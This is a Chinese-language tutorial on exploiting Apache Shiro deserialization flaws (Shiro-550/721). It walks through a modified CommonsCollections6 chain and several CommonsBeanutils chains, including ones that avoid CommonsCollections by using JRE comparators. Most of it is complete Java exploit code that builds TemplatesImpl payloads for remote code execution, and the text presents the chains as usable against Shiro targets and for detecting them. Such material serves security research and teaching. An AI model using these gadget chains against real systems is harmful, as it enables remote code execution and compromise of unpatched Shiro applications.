Shiro

shiro可以说是安全人员的好伙伴了,自从爆出Rce漏洞后可以说养活了很多安全人,可以说18年在用 现在还在用(x

Shiro反序列化漏洞目前为止有两个,Shiro-550(Apache Shiro < 1.2.5)和Shiro-721( Apache Shiro < 1.4.2 )。这两个漏洞主要区别在于Shiro550使用已知密钥撞,后者Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化,对比Shiro550条件只要有足够密钥库(条件比较低)、Shiro721需要登录(要求比较高鸡肋)。

  • Apache Shiro < 1.4.2默认使用AES/CBC/PKCS5Padding模式
  • Apache Shiro >= 1.4.2默认使用AES/GCM/PKCS5Padding模式

shiro的分析步骤就省去了 网上文章也有很多,也很简单 通过Cookie的remember 解密后反序列化

构造没有Transformer[]的CC链

前置知识

在shiro 550 750的攻击过程中 常见的是个commons-collections4.0,但是如果对方的版本是个commons-collections3呢?

在调试过程中,我们可以发现直接生成的payload打不通了。为什么呢?

JAVA反序列化对于Shiro的应用

报了一些错误

我们跟进一下是什么错误?

跟进org.apache.shiro.io.ClassResolvingObjectInputStream类。可以发现其重写了 resolveClass 方法

    protected Class<?> resolveClass(ObjectStreamClass osc) throws
IOException, ClassNotFoundException {
      try {
        return ClassUtils.forName(osc.getName());
      } catch (UnknownClassException e) {
        throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
        }
            } 
    }

在抛出异常的地方下个断点可以发现其org.apache.commons.collections.Transformer报错了,也就是Transformer[]数组

Java反序列化利用链分析之Shiro反序列化 这篇文章详细介绍了如何利用commons-collections:3.2.1完成反序列化化的过程

回顾一下,在CommonsCollections6中,我们用到了一个类, TiedMapEntry ,其构造函数接受两个参 数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry 类有个 getValue 方法,调用了map的 get方法,并传入key:

JAVA反序列化对于Shiro的应用

当这个map是LazyMap时,其get方法就是触发transform的关键点:

JAVA反序列化对于Shiro的应用

我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为 通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化 恶意对象。

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇 的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

那么我们之前的数组中ConstantTransformer就不需要了

实现

我们来试着改造一下cc6,当然其他的链子同样适用

package CC6;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class demo2 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformers = new InvokerTransformer("getClass", null, null);


        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformers);

        TiedMapEntry TiedMapEntry = new TiedMapEntry(outerMap,obj);
        Map hashMap = new HashMap();

        hashMap.put(TiedMapEntry,"valuevalue");
        outerMap.clear();

        setFieldValue(transformers, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(outerMap);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

当然 这个payload可以发现没了fakeTransformer 而换成了 Transformer transformers = new InvokerTransformer("getClass", null, null);效果是一样的

这也是用来检测Shiro-550的方法

CommonsBeanutils

前置知识

我们从CC2知道java.util.PriorityQueue处理的是一个优先队列,队列里每个元素都有自己的优先级。在反序列化过程中,会根据先后顺序进行排序,从而调用到了 java.util.Comparator 接口的 compare() 方法。然后触发相应的反序列化

在CommonsBeanutils里 也可以触发 让我们来看一下

commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任 意JavaBean的getter方法,

JAVA反序列化对于Shiro的应用

此时,commons-beanutils会自动找到name属性的getter方法, 然后调用,获得返回值。除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象 中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。

了解了这些,可能有一定的疑问,这和最开始说到的compare()方法触发反序列化有什么关系呢?

在CB包里有这么一个类org.apache.commons.beanutils.BeanComparator

找找关键的东西呢?

JAVA反序列化对于Shiro的应用

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不 为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。

上一节我们说了, PropertyUtils.getProperty 这个方法会自动去调用一个JavaBean的getter方法, 这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢

可以看看之前Templateslmpl中提到的利用链

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

显而易见的getOutputProperties 则不就是get吗?

所以, PropertyUtils.getProperty( o1, property ) 这段代码,当o1是一个 TemplatesImpl 对 象,而 property 的值为 outputProperties 时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法,触发代码执行。

让我们来写写看?

实现

新建一个TemplatesImpl,根据上面的分析,我们需要有一个org.apache.commons.beanutils.BeanComparator new一个出来,

然后通过PropertyUtils.getProperty对队列进行比较,触发compare()方法, 而当property不为空的时候调用TemplatesImpl#getOutputProperties方法 实现反序列化利用

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutilsdemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {
                ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator=new BeanComparator();

        PriorityQueue  queue = new PriorityQueue(2, comparator); // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{obj,obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

初始化时使用正经对象,且 property 为空,为了初始化的时候不要出错。然后再用反射将 property 的值设置成恶意的 outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象:

从而完成利用

不用CommonsCollections的反序列化链

在shiro应用中,默认是不带有CommonsCollections的,而网上大多数复现过程中都存在CommonsCollections 也就是 org.apache.commons.beanutils.BeanComparator;这个类

进入这个类会发现其调用了org.apache.commons.collections.comparators.ComparableComparator

JAVA反序列化对于Shiro的应用

在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。

既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口

那么有相似的类可以替换吗?达到不用BeanComparator触发,找到一个 CaseInsensitiveComparator

JAVA反序列化对于Shiro的应用

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 Comparator Serializable

我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对 象,用它来实例化 BeanComparator

所以我们改一改

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutilsdemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {
                ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator=new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

        PriorityQueue  queue = new PriorityQueue(2, comparator); // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{obj,obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

然后在P神的知识星球还发现了这样一个类java.util.Collections$ReverseComparator

JAVA反序列化对于Shiro的应用

我们也可以试试看

老样子 利用反射修改BeanComparator#comparator属性替换为jre自带类即可 这里是Collections.reverseOrder()

package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanutilsdemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {
                ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator=new BeanComparator(null, Collections.reverseOrder());

        PriorityQueue  queue = new PriorityQueue(2, comparator); // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{obj,obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}